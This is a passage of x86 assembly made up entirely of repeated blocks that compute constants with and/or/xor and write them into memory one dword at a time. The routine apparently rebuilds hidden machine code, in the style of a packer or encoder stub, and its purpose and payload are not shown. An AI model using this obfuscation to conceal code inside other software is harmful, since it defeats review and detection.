mov dword [ebx], eax
add ebx, edx
xor eax, 0x2c8b2852
xor eax, 0x2eab3ed0
and eax, 0xa440583
or eax, 0x31884008
mov dword [ebx], eax
add ebx, edx
and eax, 0x50982e31
and eax, 0x80001
or eax, 0x8d07b044
mov dword [ebx], eax
add ebx, edx
and eax, 0x308f7a16
and eax, 0x64d3db4b
and eax, 0
or eax, 0x250
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3a21f421
and eax, 0x2204401
or eax, 0x818c098a
mov dword [ebx], eax
add ebx, edx
and eax, 0x49d2a549
and eax, 0xe3447d2
and eax, 0x100
or eax, 0x4d8900e9
mov dword [ebx], eax
add ebx, edx
and eax, 0x32722812
and eax, 0x13eb7d40
and eax, 0
or eax, 0xc8558bac
mov dword [ebx], eax
add ebx, edx
or eax, 0x4229fe47
and eax, 0x6b5f0481
and eax, 0x8010081
or eax, 0x8100c202
mov dword [ebx], eax
add ebx, edx
and eax, 0x685cd9d4
and eax, 0xc000
or eax, 0x458b0855
mov dword [ebx], eax
add ebx, edx
and eax, 0x17e71629
xor eax, 0x63b83f9a
and eax, 0x398
or eax, 0x1c08044
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7065967b
and eax, 0x1840581
or eax, 0x8a584008
mov dword [ebx], eax
add ebx, edx
and eax, 0x311ea6c0
and eax, 0x1180000
or eax, 0x4c23f04d
mov dword [ebx], eax
add ebx, edx
or eax, 0x64d47d19
and eax, 0x90c7c58
or eax, 0x820000a0
mov dword [ebx], eax
add ebx, edx
and eax, 0x7d681599
and eax, 0x44283526
and eax, 0x400
or eax, 0x5533e055
mov dword [ebx], eax
add ebx, edx
and eax, 0x5de4e0f6
and eax, 0x1000054
or eax, 0x8a840fa8
mov dword [ebx], eax
add ebx, edx
and eax, 0x1d7055ec
and eax, 0x9000000
or eax, 0x82000001
mov dword [ebx], eax
add ebx, edx
and eax, 0x45319220
and eax, 0x1000000
or eax, 0x443bd845
mov dword [ebx], eax
add ebx, edx
and eax, 0xb55e25c
xor eax, 0x625438d6
and eax, 0x3017880
or eax, 0x88100560
mov dword [ebx], eax
add ebx, edx
or eax, 0x796e8361
and eax, 0xe903f041
or eax, 0x80000c
mov dword [ebx], eax
add ebx, edx
or eax, 0x4f19d2ab
or eax, 0x14e7f77d
and eax, 0xf04d8101
or eax, 0x800
mov dword [ebx], eax
add ebx, edx
or eax, 0x59756a73
and eax, 0x39704103
or eax, 0x2801488
mov dword [ebx], eax
add ebx, edx
and eax, 0x2f0b00c1
and eax, 0x28000001
or eax, 0x47cd054
mov dword [ebx], eax
add ebx, edx
or eax, 0x63da3ff1
xor eax, 0x3b493ba7
and eax, 0xb04402
or eax, 0xb480189
mov dword [ebx], eax
add ebx, edx
or eax, 0x6b5b1be0
and eax, 0x41894c41
or eax, 0x400a004
mov dword [ebx], eax
add ebx, edx
or eax, 0x153370c6
xor eax, 0x6d173bb9
and eax, 0x380c8310
or eax, 0xc0410880
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6a27a0ed
and eax, 0x80000101
or eax, 0x901c082
mov dword [ebx], eax
add ebx, edx
xor eax, 0x50a9cd23
or eax, 0x83eebf4
and eax, 0x5982e844
or eax, 0x24011009
mov dword [ebx], eax
add ebx, edx
xor eax, 0x36cf5de1
and eax, 0x440080
or eax, 0x14310010
mov dword [ebx], eax
add ebx, edx
or eax, 0x31d156fe
or eax, 0x5dca16bd
and eax, 0x39fc548b
or eax, 0x2000100
mov dword [ebx], eax
add ebx, edx
and eax, 0xd8015ec
and eax, 0x8001400
or eax, 0x47cc855
mov dword [ebx], eax
add ebx, edx
and eax, 0xc70211e
xor eax, 0x6d971899
and eax, 0x21a40089
or eax, 0x1a104502
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3c00e0c5
and eax, 0x5048044
or eax, 0x880b4001
mov dword [ebx], eax
add ebx, edx
and eax, 0x61971a0b
xor eax, 0x3501db2
and eax, 0x102
or eax, 0x44
mov dword [ebx], eax
add ebx, edx
or eax, 0x2c8616ed
and eax, 0x58f8e421
and eax, 0x8800401
or eax, 0x335c498a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1f116e
and eax, 0x10405845
or eax, 0x3c8008
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7dffb5c7
and eax, 0x239793d
and eax, 0x4108
or eax, 0xfe41483
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6b8d804f
and eax, 0x20605584
or eax, 0x1b94002b
mov dword [ebx], eax
add ebx, edx
or eax, 0x720d7c38
and eax, 0x90d5015
or eax, 0x84028040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x16b7c31a
and eax, 0x10e
or eax, 0x20
mov dword [ebx], eax
add ebx, edx
or eax, 0x7ca892cc
and eax, 0xa8018a
or eax, 0x3404401
mov dword [ebx], eax
add ebx, edx
or eax, 0x43c25381
and eax, 0x47d1d029
and eax, 0x41005001
or eax, 0x43b8844
mov dword [ebx], eax
add ebx, edx
or eax, 0x72be9368
and eax, 0x178d0b68
or eax, 0x8000490
mov dword [ebx], eax
add ebx, edx
xor eax, 0x47191bb4
or eax, 0x70aeeaec
and eax, 0x8000000
or eax, 0x83000001
mov dword [ebx], eax
add ebx, edx
and eax, 0x73bd4ecd
and eax, 0x1000001
or eax, 0x4c3bd04c
mov dword [ebx], eax
add ebx, edx
or eax, 0x24af9b4f
and eax, 0x908584c
or eax, 0x82402490
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7c770795
and eax, 0x53e262d6
and eax, 0x51026040
or eax, 0x4019015
mov dword [ebx], eax
add ebx, edx
or eax, 0x8c21359
and eax, 0x40413348
or eax, 0x80140880
mov dword [ebx], eax
add ebx, edx
or eax, 0x4488721a
and eax, 0x44890858
or eax, 0x1020025
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7a7fd3ff
xor eax, 0x763be4da
and eax, 0x40453b58
or eax, 0xa40000a0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1f2ef100
and eax, 0x490b0078
or eax, 0x4803504
mov dword [ebx], eax
add ebx, edx
or eax, 0x36e23c66
and eax, 0x1c10168
or eax, 0x8280
mov dword [ebx], eax
add ebx, edx
or eax, 0x5fcc989c
and eax, 0xbc80988
or eax, 0x80204401
mov dword [ebx], eax
add ebx, edx
and eax, 0x4cb477c1
xor eax, 0x1224459d
and eax, 0xa040014
or eax, 0xa50bc441
mov dword [ebx], eax
add ebx, edx
or eax, 0x574a0d95
or eax, 0x125a1e92
and eax, 0xd205c855
or eax, 0x802000
mov dword [ebx], eax
add ebx, edx
and eax, 0x3935a6ec
or eax, 0x12bb67f7
and eax, 0x8b2175
or eax, 0x45000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x3ed567c8
or eax, 0x68a14dad
and eax, 0xc4509f4
or eax, 0x80008000
mov dword [ebx], eax
add ebx, edx
and eax, 0x3074d2ab
or eax, 0xd28eaeb
and eax, 0x944488b
or eax, 0x80900500
mov dword [ebx], eax
add ebx, edx
and eax, 0x6d273534
xor eax, 0x7347ea38
and eax, 0x50038808
or eax, 0x5880045
mov dword [ebx], eax
add ebx, edx
or eax, 0x5fcc6662
and eax, 0x1c28244
or eax, 0x190
mov dword [ebx], eax
add ebx, edx
xor eax, 0x839787a
and eax, 0x9d05188
or eax, 0x82040401
mov dword [ebx], eax
add ebx, edx
xor eax, 0x36ad0314
and eax, 0x5390405
or eax, 0x40028840
mov dword [ebx], eax
add ebx, edx
xor eax, 0x42ef2fd3
and eax, 0x7840380
or eax, 0xc8090c08
mov dword [ebx], eax
add ebx, edx
and eax, 0x4079b51f
and eax, 0x46c72fa4
and eax, 0
or eax, 0x8b000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x3a419cf8
and eax, 0x8000000
or eax, 0x4589f84d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x433446f6
and eax, 0xc158a80
or eax, 0xd0400104
mov dword [ebx], eax
add ebx, edx
or eax, 0x53f0e8ec
xor eax, 0x4d4afe6f
and eax, 0x82801581
or eax, 0x9004008
mov dword [ebx], eax
add ebx, edx
and eax, 0x73141989
and eax, 0x1001
or eax, 0xe883e844
mov dword [ebx], eax
add ebx, edx
or eax, 0x2da449d0
and eax, 0x6a4572af
and eax, 0x68050001
or eax, 0x90408900
mov dword [ebx], eax
add ebx, edx
or eax, 0x567e6c66
and eax, 0x3a044d03
or eax, 0x1800088
mov dword [ebx], eax
add ebx, edx
or eax, 0x6e9d4d2b
and eax, 0x281c0009
or eax, 0x608044
mov dword [ebx], eax
add ebx, edx
or eax, 0xc60f111
or eax, 0x2c49d55e
and eax, 0x283c550b
or eax, 0x13800080
mov dword [ebx], eax
add ebx, edx
or eax, 0x591c4de4
and eax, 0x5596230e
and eax, 0x140004
or eax, 0x2068ac51
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2e953b4f
and eax, 0x24ec4d5c
and eax, 0xc00508
or eax, 0x3144083
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5965c78f
and eax, 0x27a28113
and eax, 0x208000
or eax, 0x451b3845
mov dword [ebx], eax
add ebx, edx
and eax, 0x1a2ffbc5
or eax, 0x7b6f3db9
and eax, 0xb053cf4
or eax, 0x80104000
mov dword [ebx], eax
add ebx, edx
or eax, 0x28ed3f01
xor eax, 0x78932187
and eax, 0xc1025040
or eax, 0x2881a00d
mov dword [ebx], eax
add ebx, edx
and eax, 0x2540fd65
and eax, 0x20008001
or eax, 0xd04d0900
mov dword [ebx], eax
add ebx, edx
or eax, 0x1994659a
and eax, 0x39dc458b
or eax, 0x2201000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7d4fb2e0
or eax, 0x3e8b3040
and eax, 0xc0bf041
or eax, 0x81040014
mov dword [ebx], eax
add ebx, edx
or eax, 0x63561300
xor eax, 0x56178163
and eax, 2
or eax, 0x88
mov dword [ebx], eax
add ebx, edx
and eax, 0x36475b4a
and eax, 0xa
or eax, 0x3bf44581
mov dword [ebx], eax
add ebx, edx
xor eax, 0x793d1bd9
and eax, 0x494040
or eax, 0x9348005
mov dword [ebx], eax
add ebx, edx
or eax, 0x11c8b708
or eax, 0x5cce7ed9
and eax, 0x1a045c5
or eax, 2
mov dword [ebx], eax
add ebx, edx
and eax, 0x19ba9846
and eax, 0x1000000
or eax, 0xea000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2e0f38fc
and eax, 0x80050004
or eax, 0x2040c703
mov dword [ebx], eax
add ebx, edx
or eax, 0x42fd73f1
xor eax, eax
mov dword [ebx], eax
add ebx, edx
and eax, 0x2714065a
xor eax, 0x6bdb8e17
and eax, 0x3d80c03
or eax, 0x80244188
mov dword [ebx], eax
add ebx, edx
and eax, 0x6d1408a7
or eax, 0x1b3b2c07
and eax, 0x9090081
or eax, 0x44800168
mov dword [ebx], eax
add ebx, edx
or eax, 0x20b5a980
and eax, 0x6c1589e8
or eax, 0x90400214
mov dword [ebx], eax
add ebx, edx
or eax, 0x6a571e6
and eax, 0x74a05132
or eax, 0x401
mov dword [ebx], eax
add ebx, edx
xor eax, 0x354c3ba7
and eax, 0x40440a00
or eax, 0x98018161
mov dword [ebx], eax
add ebx, edx
and eax, 0x168626ff
xor eax, 0x3d06e2fd
and eax, 0x2c00a00c
or eax, 0x80450f03
mov dword [ebx], eax
add ebx, edx
and eax, 0x395ff250
and eax, 0x28040000
or eax, 0x55b8453b
mov dword [ebx], eax
add ebx, edx
or eax, 0x2521dfc0
and eax, 0x7e33721e
and eax, 0x7c010210
or eax, 0x804c8945
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6d15d63
and eax, 0xfa1c8400
or eax, 0x5600989
mov dword [ebx], eax
add ebx, edx
and eax, 0xa072ae
or eax, 0x3f830fb0
and eax, 0x15830fb8
or eax, 0x4008f047
mov dword [ebx], eax
add ebx, edx
or eax, 0x4e3fdbf9
and eax, 0x5d02dc13
and eax, 0x58008800
or eax, 0x209501e8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3fac3059
and eax, 0x339b9b1
or eax, 0x88c6464e
mov dword [ebx], eax
add ebx, edx
xor eax, 0x75a790b5
and eax, 0xc0006840
or eax, 0x838005
mov dword [ebx], eax
add ebx, edx
or eax, 0x75c4671
xor eax, 0x47aebef5
and eax, 0x80410000
or eax, 0x68048901
mov dword [ebx], eax
add ebx, edx
and eax, 0x116699a0
or eax, 0x397e0cdb
and eax, 0x397c8d8b
or eax, 0xc6000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1fa0ef0
and eax, 0x26559d92
and eax, 0x4008112
or eax, 0x893b7eed
mov dword [ebx], eax
add ebx, edx
or eax, 0x54b5cc97
and eax, 0xddbfff78
or eax, 0x22400000
mov dword [ebx], eax
add ebx, edx
and eax, 0x4d040b5e
and eax, 0x45000858
or eax, 0x108b0025
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1ca0163f
and eax, 0x40011a40
or eax, 0xb054219c
mov dword [ebx], eax
add ebx, edx
or eax, 0x2351b124
and eax, 0x41011b7c
or eax, 0x48a0000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4d653003
xor eax, 0x779450b1
and eax, 0x64402384
or eax, 0x80050030
mov dword [ebx], eax
add ebx, edx
xor eax, 0x24217b31
and eax, 0x76753fc
and eax, 4
or eax, 0x4d8b0870
mov dword [ebx], eax
add ebx, edx
or eax, 0x1d096790
and eax, 0x4c092bd4
or eax, 0xa0441000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x57814ee1
xor eax, 0x3208bd8f
and eax, 0x1800838
or eax, 0x540b0344
mov dword [ebx], eax
add ebx, edx
or eax, 0x1951b8f
and eax, 0x558f0bf8
or eax, 0x200400
mov dword [ebx], eax
add ebx, edx
and eax, 0x4cf5361a
xor eax, 0x1def7a6f
and eax, 0x50420444
or eax, 0x24908180
mov dword [ebx], eax
add ebx, edx
or eax, 0x3ee78edb
or eax, 0x3054b76e
and eax, 0x68458b09
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x395c1e93
and eax, 0x81018082
or eax, 0x8004001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3ce1d583
and eax, 0x5800000
or eax, 0x480be845
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3b780915
and eax, 0xc18150
or eax, 0x10002a4
mov dword [ebx], eax
add ebx, edx
or eax, 0x1eb71915
and eax, 0xbf40981
or eax, 0x80004408
mov dword [ebx], eax
add ebx, edx
or eax, 0x304276fc
and eax, 0x82824455
or eax, 0x40018000
mov dword [ebx], eax
add ebx, edx
or eax, 0x35d9f866
and eax, 0xc4518801
or eax, 0x40100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3743b94a
and eax, 0x8314000b
or eax, 0xe04580
mov dword [ebx], eax
add ebx, edx
or eax, 0x2c0fd2dc
and eax, 0x22c72ab6
and eax, 0x810080
or eax, 0x45080168
mov dword [ebx], eax
add ebx, edx
xor eax, 0x30187423
xor eax, 0x7322da0c
and eax, 0x4018bc4
or eax, 0xf84c0030
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3497784b
or eax, 0x115d7615
and eax, 0x8901e183
or eax, 0x800
mov dword [ebx], eax
add ebx, edx
or eax, 0x1134813d
and eax, 0x1101e80d
or eax, 0x448a1440
mov dword [ebx], eax
add ebx, edx
or eax, 0x54f3dbe5
and eax, 0x2758d5be
and eax, 0x45001a0
or eax, 0xe0052250
mov dword [ebx], eax
add ebx, edx
and eax, 0x1ef700e9
and eax, 0x4540080
or eax, 0xfb209509
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1b6ed29d
or eax, 0x4ce8901d
and eax, 0x448ad71d
or eax, 0x10128e2
mov dword [ebx], eax
add ebx, edx
or eax, 0x738d8660
or eax, 0x5ae9bdab
and eax, 0x708589c8
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x72fd98a0
or eax, 0xc0932a1
and eax, 0xafdbbe9
or eax, 0x81024416
mov dword [ebx], eax
add ebx, edx
or eax, 0x721e35eb
and eax, 0x74152342
and eax, 0x60012040
or eax, 0x8982d00d
mov dword [ebx], eax
add ebx, edx
and eax, 0x3b507519
xor eax, 0x271d70d8
and eax, 0xd0001
or eax, 0xf0408900
mov dword [ebx], eax
add ebx, edx
and eax, 0x34b64869
and eax, 0x30040001
or eax, 0xcf70958a
mov dword [ebx], eax
add ebx, edx
and eax, 0x66a20136
and eax, 0x492a73b7
and eax, 0x200102
or eax, 0x951bfefd
mov dword [ebx], eax
add ebx, edx
or eax, 0x3be1d136
or eax, 0x2def1da6
and eax, 0xbfffff70
or eax, 0x40000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x503b185d
and eax, 0x400b1850
or eax, 0x580062d
mov dword [ebx], eax
add ebx, edx
and eax, 0x36233607
and eax, 0x10200
or eax, 0xc04421f8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6e120d81
and eax, 0x225940e2
and eax, 0x22400000
or eax, 0xdd2c8589
mov dword [ebx], eax
add ebx, edx
xor eax, 0xe2422a
and eax, 0x4d8ac7a3
or eax, 0x1385c
mov dword [ebx], eax
add ebx, edx
or eax, 0x392306ac
and eax, 0x18183f8
or eax, 0x400000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x65547f71
and eax, 0x904c89
or eax, 0x83680100
mov dword [ebx], eax
add ebx, edx
and eax, 0x38447d71
and eax, 0x1d654e26
and eax, 0x404c00
or eax, 0xffbf20bd
mov dword [ebx], eax
add ebx, edx
or eax, 0x6001a315
xor eax, 0x3d8f966a
and eax, 0x7000d7
or eax, 0x11050028
mov dword [ebx], eax
add ebx, edx
or eax, 0x469d8d76
or eax, 0x23d24ed9
and eax, 0x3dc458b
or eax, 0x80001000
mov dword [ebx], eax
add ebx, edx
and eax, 0x3bc8884f
or eax, 0x66967693
and eax, 0x45880082
or eax, 0x10010140
mov dword [ebx], eax
add ebx, edx
and eax, 0x563363d1
and eax, 0x400101c0
or eax, 0x88448a1c
mov dword [ebx], eax
add ebx, edx
and eax, 0x3e3fcc1d
and eax, 0x40010
or eax, 0x74d84523
mov dword [ebx], eax
add ebx, edx
or eax, 0x7a4bd535
and eax, 0x3d8c6053
and eax, 0xc0001
or eax, 0xc0418b08
mov dword [ebx], eax
add ebx, edx
or eax, 0x267201bc
and eax, 0x80018181
or eax, 0x9004002
mov dword [ebx], eax
add ebx, edx
and eax, 0xf488e02
and eax, 0x1008000
or eax, 0x548b404d
mov dword [ebx], eax
add ebx, edx
xor eax, 0xab1cda8
and eax, 0x10201e0
or eax, 0xc08218
mov dword [ebx], eax
add ebx, edx
or eax, 0x5b2160e7
and eax, 0xbd66dcf
and eax, 0x9c04189
or eax, 0xe0381400
mov dword [ebx], eax
add ebx, edx
or eax, 0x17a5e44f
and eax, 0xfffdf58b
or eax, 0x20810
mov dword [ebx], eax
add ebx, edx
and eax, 0x2970bc19
and eax, 0x75b5bc07
and eax, 0x21300401
or eax, 0xcc4418a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x60d3ef8d
xor eax, 0x51a0d7bb
and eax, 0xd99
or eax, 2
mov dword [ebx], eax
add ebx, edx
and eax, 0x36022b42
and eax, 0x100
or eax, 0x8bf44489
mov dword [ebx], eax
add ebx, edx
or eax, 0x4c41ffc8
and eax, 0x4d21b849
or eax, 0xa0004
mov dword [ebx], eax
add ebx, edx
or eax, 0x6488b796
and eax, 0x260a205b
and eax, 0x20080050
or eax, 0x984589a4
mov dword [ebx], eax
add ebx, edx
and eax, 0x79ada43d
and eax, 0x10090020
or eax, 0x458209cb
mov dword [ebx], eax
add ebx, edx
or eax, 0x7834dd85
and eax, 0x40c8c87
and eax, 0x8080
or eax, 0x1c20338
mov dword [ebx], eax
add ebx, edx
xor eax, 0x465f5c62
xor eax, 0x1ecbec5c
and eax, 0x9101180
or eax, 0x82a84409
mov dword [ebx], eax
add ebx, edx
and eax, 0x4308c31b
and eax, 0x1080001
or eax, 0x4433b844
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4054e65b
and eax, 0x6be86594
and eax, 0x80414
or eax, 0xf6850ba8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7232d167
and eax, 0x7ad6374e
and eax, 0
or eax, 0x8b000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x13460de6
xor eax, 0x27eeb2d6
and eax, 0xa980bc00
or eax, 0x4003404d
mov dword [ebx], eax
add ebx, edx
or eax, 0x2f79886f
and eax, 0xec498801
or eax, 0x10040100
mov dword [ebx], eax
add ebx, edx
and eax, 0x1a6febd8
or eax, 0x41d0b19b
and eax, 0x19dc118b
or eax, 0x22204400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7e34c851
and eax, 0x40489050
or eax, 0x1a356005
mov dword [ebx], eax
add ebx, edx
and eax, 0x611f377a
and eax, 0x180000
or eax, 0x33c0458b
mov dword [ebx], eax
add ebx, edx
and eax, 0x1e17977d
xor eax, 0x7ca94245
and eax, 0x28304044
or eax, 0x1449001
mov dword [ebx], eax
add ebx, edx
and eax, 0x439a0cac
xor eax, 0x4f74accb
and eax, 0x8640c8b
or eax, 0x81804100
mov dword [ebx], eax
add ebx, edx
and eax, 0x14db4438
and eax, 0xc04008
or eax, 0xff3f2885
mov dword [ebx], eax
add ebx, edx
and eax, 0x243b2e49
and eax, 0x20110809
or eax, 0xd84483f6
mov dword [ebx], eax
add ebx, edx
and eax, 0x5abea774
and eax, 0x58048100
or eax, 0xa7601489
mov dword [ebx], eax
add ebx, edx
and eax, 0x1c43afbc
and eax, 0x4008588
or eax, 0x418b7a77
mov dword [ebx], eax
add ebx, edx
and eax, 0x127a83df
or eax, 0x37815da0
and eax, 0x18083e4
or eax, 0x400000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4e284ff
and eax, 0x1200509
or eax, 0x8ac44080
mov dword [ebx], eax
add ebx, edx
and eax, 0x79edec2d
and eax, 0x9e44009
or eax, 0xf61b2884
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4da7761
and eax, 0x60051bec
or eax, 0x4882013
mov dword [ebx], eax
add ebx, edx
xor eax, 0x57916b85
and eax, 0x301c507a
or eax, 0x4ce3af85
mov dword [ebx], eax
add ebx, edx
and eax, 0x3b0a029a
xor eax, 0x53506bec
and eax, 0x60500900
or eax, 0x90058208
mov dword [ebx], eax
add ebx, edx
or eax, 0x93349a8
xor eax, 0x17e5f2b2
and eax, 0x6c90111a
or eax, 0x11444421
mov dword [ebx], eax
add ebx, edx
xor eax, 0x27b501a5
xor eax, 0x35f4fff7
and eax, 0x6c058b21
or eax, 0x90400000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x62d1b0c2
and eax, 0x29dcbd67
and eax, 0x840123
or eax, 0x75284400
mov dword [ebx], eax
add ebx, edx
and eax, 0x2d7c44ed
and eax, 0x200c0000
or eax, 0x90418b10
mov dword [ebx], eax
add ebx, edx
or eax, 0x4d09da1f
or eax, 0x60b733c4
and eax, 0x7dc4491b
or eax, 0x420
mov dword [ebx], eax
add ebx, edx
and eax, 0x4867a59e
and eax, 0x72f5e3b2
and eax, 0x40440110
or eax, 0x98118a01
mov dword [ebx], eax
add ebx, edx
xor eax, 0x790df498
or eax, 0x713e15af
and eax, 0x70705523
or eax, 0x4800010
mov dword [ebx], eax
add ebx, edx
and eax, 0x6211e152
and eax, 0x60000100
or eax, 0x80458a09
mov dword [ebx], eax
add ebx, edx
xor eax, 0x21ae1813
and eax, 0x81018002
or eax, 0x8006881
mov dword [ebx], eax
add ebx, edx
or eax, 0x64683ecd
and eax, 0x4d09e045
or eax, 0x820000
mov dword [ebx], eax
add ebx, edx
or eax, 0x392ad110
xor eax, 0x47e3ebd0
and eax, 0x10481a80
or eax, 0xc4052130
mov dword [ebx], eax
add ebx, edx
or eax, 0x2cab8be4
xor eax, 0x5b88617d
and eax, 0x5034808
or eax, 0x50880074
mov dword [ebx], eax
add ebx, edx
or eax, 0x50a697b9
xor eax, 0x6e472f2d
and eax, 0x4020c0
or eax, 0xc415032c
mov dword [ebx], eax
add ebx, edx
xor eax, 0xb187cbb
xor eax, 0x5656077f
and eax, 0x99001008
or eax, 0x66608581
mov dword [ebx], eax
add ebx, edx
xor eax, 0x22e6ae8
and eax, 0x450aff61
or eax, 0x81009e
mov dword [ebx], eax
add ebx, edx
xor eax, 0x16d388a6
xor eax, 0x75003884
and eax, 0x400098c
or eax, 0x58858020
mov dword [ebx], eax
add ebx, edx
and eax, 0x4d0210ef
and eax, 0x80000ac
or eax, 0x83ffff53
mov dword [ebx], eax
add ebx, edx
or eax, 0x3a31d3d2
and eax, 0xa983ec4d
or eax, 0x40000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x67c97133
and eax, 0xec498901
or eax, 0x40000
mov dword [ebx], eax
add ebx, edx
or eax, 0x57764f36
and eax, 0xff608503
or eax, 0x1088
mov dword [ebx], eax
add ebx, edx
and eax, 0x7c0ffc32
or eax, 0x24d96421
and eax, 0x1419f423
or eax, 0x81220bdc
mov dword [ebx], eax
add ebx, edx
or eax, 0x3faa4955
or eax, 0x6e859de1
and eax, 0xffbfff5c
or eax, 0x400000
mov dword [ebx], eax
add ebx, edx
and eax, 0x427d429b
and eax, 0x7312fe5d
and eax, 0x40000018
or eax, 0x58b2565
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1873df34
and eax, 0x47347440
and eax, 0x1200040
or eax, 0xc883b4
mov dword [ebx], eax
add ebx, edx
and eax, 0x6e0dcad8
xor eax, 0x65717900
and eax, 0x1704180
or eax, 0x8a840409
mov dword [ebx], eax
add ebx, edx
or eax, 0x6fa7bfae
and eax, 0x4d03d00d
or eax, 0x80040
mov dword [ebx], eax
add ebx, edx
and eax, 0x55a5ae1
and eax, 0x1005040
or eax, 0x8a1424b4
mov dword [ebx], eax
add ebx, edx
or eax, 0x5a139ff6
and eax, 0x3e3ce0c1
and eax, 0x1000c040
or eax, 0x452b0815
mov dword [ebx], eax
add ebx, edx
or eax, 0x3774839e
and eax, 0xf99b64d
and eax, 0x4110240
or eax, 0xe04439b0
mov dword [ebx], eax
add ebx, edx
or eax, 0x6bd7052
or eax, 0x1574bcb7
and eax, 0x45890975
or eax, 0x20008
mov dword [ebx], eax
add ebx, edx
and eax, 0x22fbaebf
and eax, 0x80003c
or eax, 0x14083c0
mov dword [ebx], eax
add ebx, edx
and eax, 0xbe60a7d
and eax, 0x46a3cc71
and eax, 0x800000
or eax, 0x8b7c4589
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1d1193a7
or eax, 0x68c3d8b
and eax, 0x8081c40d
or eax, 0x41020040
mov dword [ebx], eax
add ebx, edx
xor eax, 0xfbd606b
and eax, 0xc40c8000
or eax, 0x410901
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4c1a49f0
and eax, 0x80444081
or eax, 0x380150a
mov dword [ebx], eax
add ebx, edx
and eax, 0x7a9d9c5e
xor eax, 0x9e62e99
and eax, 0x1000082
or eax, 0x54890168
mov dword [ebx], eax
add ebx, edx
or eax, 0x5f0d1f43
and eax, 0x5c050bc0
or eax, 0xa0408004
mov dword [ebx], eax
add ebx, edx
and eax, 0x516ba88
and eax, 0x5413d813
and eax, 0x8000
or eax, 0x89014083
mov dword [ebx], eax
add ebx, edx
or eax, 0x35453da1
or eax, 0x352fd6e9
and eax, 0xd0bfc41
or eax, 0x40800004
mov dword [ebx], eax
add ebx, edx
and eax, 0x1602bd18
and eax, 0x2b23c96f
and eax, 0x8000
or eax, 0x1c103f8
mov dword [ebx], eax
add ebx, edx
xor eax, 0xac95fe7
and eax, 0x76d2a199
and eax, 0x2000009
or eax, 0x89f84d80
mov dword [ebx], eax
add ebx, edx
and eax, 0x3b468552
or eax, 0x21fee4dd
and eax, 0x282c055
or eax, 0xc0010800
mov dword [ebx], eax
add ebx, edx
and eax, 0x6c0f9e67
xor eax, 0x26e71b0f
and eax, 0x40448100
or eax, 0x88110801
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1850abb3
and eax, 0xd00420a0
or eax, 0x2ffad549
mov dword [ebx], eax
add ebx, edx
and eax, 0xf41b65
and eax, 0x440161
or eax, 0xf8018a9e
mov dword [ebx], eax
add ebx, edx
and eax, 0x76a781e7
and eax, 0x4b318c18
and eax, 0x18000
or eax, 0x89004083
mov dword [ebx], eax
add ebx, edx
xor eax, 0x73a4758
and eax, 0xc0b8041
or eax, 0x41807804
mov dword [ebx], eax
add ebx, edx
and eax, 0x3bc69ec4
and eax, 0x1808040
or eax, 0x4103b0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5c4387ce
and eax, 0x9800408
or eax, 0x82704981
mov dword [ebx], eax
add ebx, edx
or eax, 0x69b904f3
or eax, 0x7bc805d5
and eax, 0xc2814055
or eax, 0xa000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3663d171
and eax, 0x681fbce
and eax, 0x3104
or eax, 0xf8
mov dword [ebx], eax
add ebx, edx
and eax, 0x4732b5a0
and eax, 0x4aaf99e1
and eax, 0x1180
or eax, 0x8be04409
mov dword [ebx], eax
add ebx, edx
or eax, 0x3d8fefee
and eax, 0x52bf045
or eax, 0x40000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x44dcbd05
and eax, 0x450940
or eax, 0xf00080a0
mov dword [ebx], eax
add ebx, edx
or eax, 0x3137afeb
and eax, 0x410309eb
or eax, 0xc880000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6e86a6da
and eax, 0x2c764616
and eax, 0x210
or eax, 0x1c181e0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5d9a3ba4
or eax, 0x274425e
and eax, 0xa704808
or eax, 0x81800581
mov dword [ebx], eax
add ebx, edx
or eax, 0x656ba946
xor eax, 0x25a4e0b7
and eax, 0x401b0050
or eax, 0x1520f005
mov dword [ebx], eax
